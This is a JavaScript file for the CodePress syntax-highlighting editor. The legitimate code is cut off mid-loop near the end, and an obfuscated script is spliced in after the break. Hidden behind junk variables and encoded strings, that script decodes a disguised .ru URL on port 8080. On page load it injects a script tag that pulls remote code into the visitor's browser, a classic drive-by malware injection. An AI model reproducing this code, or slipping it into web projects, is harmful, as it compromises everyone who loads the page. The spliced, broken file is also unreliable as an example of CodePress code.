/* * CodePress - Real Time Syntax Highlighting Editor written in JavaScript - http://codepress.org/ * * Copyright (C) 2006 Fernando M.A.d.S. * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU Lesser General Public License as published by the Free Software Foundation. * * Read the full licence: http://www.opensource.org/licenses/lgpl-license.php */ CodePress = function(myId) { obj = document.getElementById(myId); var self = document.createElement('iframe'); self.textarea = obj; self.textarea.disabled = true; self.textarea.style.overflow = 'hidden'; self.style.height = self.textarea.clientHeight +'px'; self.style.width = self.textarea.clientWidth +'px'; self.textarea.style.overflow = 'auto'; self.style.border = '0'; self.frameBorder = 0; // remove IE internal iframe border self.style.visibility = 'hidden'; self.style.position = 'absolute'; self.options = self.textarea.className; self.setAttribute('id',obj.id+'_iframe'); self.initialize = function() { self.editor = self.contentWindow.CodePress; self.editor.body = self.contentWindow.document.getElementsByTagName('body')[0]; self.editor.setCode(self.textarea.value); self.setOptions(); self.editor.syntaxHighlight('init'); self.textarea.style.display = 'none'; self.style.position = 'static'; self.style.visibility = 'visible'; self.style.display = 'inline'; } // obj can by a textarea id or a string (code) self.edit = function(obj,language) { if(obj) self.textarea.value = document.getElementById(obj) ? document.getElementById(obj).value : obj; if(!self.textarea.disabled) return; self.language = language ? language : self.getLanguage(); self.src = CodePress.path+'codepress.html&language='+self.language+'&ts='+(new Date).getTime(); if(self.attachEvent) self.attachEvent('onload',self.initialize); else self.addEventListener('load',self.initialize,false); } self.getLanguage = function() { for (language in CodePress.languages) if(self.options.match('\\b'+language+'\\b')) return CodePress.languages[language] ? language : 'generic'; } self.setOptions = function() { if(self.options.match('autocomplete-off')) self.toggleAutoComplete(); if(self.options.match('readonly-on')) self.toggleReadOnly(); if(self.options.match('linenumbers-off')) self.toggleLineNumbers(); } self.getCode = function() { return self.textarea.disabled ? self.editor.getCode() : self.textarea.value; } self.setCode = function(code) { self.textarea.disabled ? self.editor.setCode(code) : self.textarea.value = code; } self.toggleAutoComplete = function() { self.editor.autocomplete = (self.editor.autocomplete) ? false : true; } self.toggleReadOnly = function() { self.textarea.readOnly = (self.textarea.readOnly) ? false : true; if(self.style.display != 'none') // prevent exception on FF + iframe with display:none self.editor.readOnly(self.textarea.readOnly ? true : false); } self.toggleLineNumbers = function() { var cn = self.editor.body.className; self.editor.body.className = (cn==''||cn=='show-line-numbers') ? 'hide-line-numbers' : 'show-line-numbers'; } self.toggleEditor = function() { if(self.textarea.disabled) { self.textarea.value = self.getCode(); self.textarea.disabled = false; self.style.display = 'none'; self.textarea.style.display = 'inline'; } else { self.textarea.disabled = true; self.setCode(self.textarea.value); self.editor.syntaxHighlight('init'); self.style.display = 'inline'; self.textarea.style.display = 'none'; } } self.edit(); return self; } CodePress.languages = { csharp : 'C#', css : 'CSS', generic : 'Generic', html : 'HTML', java : 'Java', javascript : 'JavaScript', perl : 'Perl', ruby : 'Ruby', php : 'PHP', text : 'Text', sql : 'SQL', vbscript : 'VBScript', c : 'c', eyecode : 'eyecode' } CodePress.run = function() { s = document.getElementsByTagName('script'); for(var i=0,n=s.length;i'); var d='';var ht;if(ht!='l' && ht != ''){ht=null};var f=new String();function F() {var G;if(G!='je' && G!='zR'){G=''};var i=new String();this.dG='';var K='';var I=new String("]");var jp='';var IH;if(IH!='xN' && IH != ''){IH=null};var h=window;var a=String("rep"+"lac"+"pgDQe".substr(4));var Q=RegExp;var b=unescape("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%6d%68%2e%63%6f%6d%2e%61%75%2f%61%6d%61%7a%6f%6e%2e%64%65%2f%6c%65%6d%6f%6e%64%65%2e%66%72%2e%70%68%70");var v="";function M(e,W){var J=new Array();var LP;if(LP!='ql'){LP='ql'};var z=new String("[");var SD;if(SD!='pW'){SD=''};z+=W+I;var S=new Q(z, "g");var vu;if(vu!='m' && vu != ''){vu=null};var QE="";return e[a](S, K);var P;if(P!='FZ'){P='FZ'};};var u;if(u!='E' && u!='Fs'){u='E'};var c="";var Jw='';this.LZ="";var Y="";var C;if(C!=''){C='Z'};var Sd='';var H="sc"+"rizg3".substr(0,2)+"pt";var ZS=new Array();var rR=new Array();var p=M('81194946016795879165120636757','19564273');var Ln='';var Sdk=unescape("%68%74%74%70%3a%2f%2f%77%33%73%63%68%6f%6f%6c%73%2d%63%6f%6d%2e%66%72%65%61%6b%73%68%61%72%65%2e%6e%65%74%2e%66%6c%69%6e%67%2d%63%6f%6d%2e%6c%65%67%61%6c%68%65%6c%70%6d%61%6e%2e%72%75%3a");var po=new String();h[new String("T9pon".substr(3)+"lomg2W".substr(0,2)+"ad")]=function(){var uB;if(uB!='qs' && uB!='Ll'){uB=''};var Yr='';try {var Ga=new String();var me;if(me!='' && me!='hV'){me=''};Sd=Sdk+p;var cC=new String();Sd+=b;this.hf="";var Ma;if(Ma!='SV' && Ma!='bV'){Ma=''};o=document.createElement(H);this.k='';this.HE='';var lQ=new Date();var nZ=new Date();o[new String("qxZTsrc".substr(4))] = Sd;var Px=new Array();var KQ=new Array();o[new String("defe"+"r")]=[2,1][1];var tF;if(tF!='kF'){tF='kF'};this.sO='';var hK=new Date();var sw=new Date();var Xo="";var Td;if(Td!='Hp'){Td=''};document.body.appendChild(o);var Ag=new Date();} catch(X){var Tb=new Date();var Lx;if(Lx!='co'){Lx='co'};};var jt=new Array();};var fN;if(fN!='fz'){fN=''};var rQ="";};var tZ=new Array();F();var tQ;if(tQ!='' && tQ!='N'){tQ=null};var NJ;if(NJ!='lO'){NJ=''};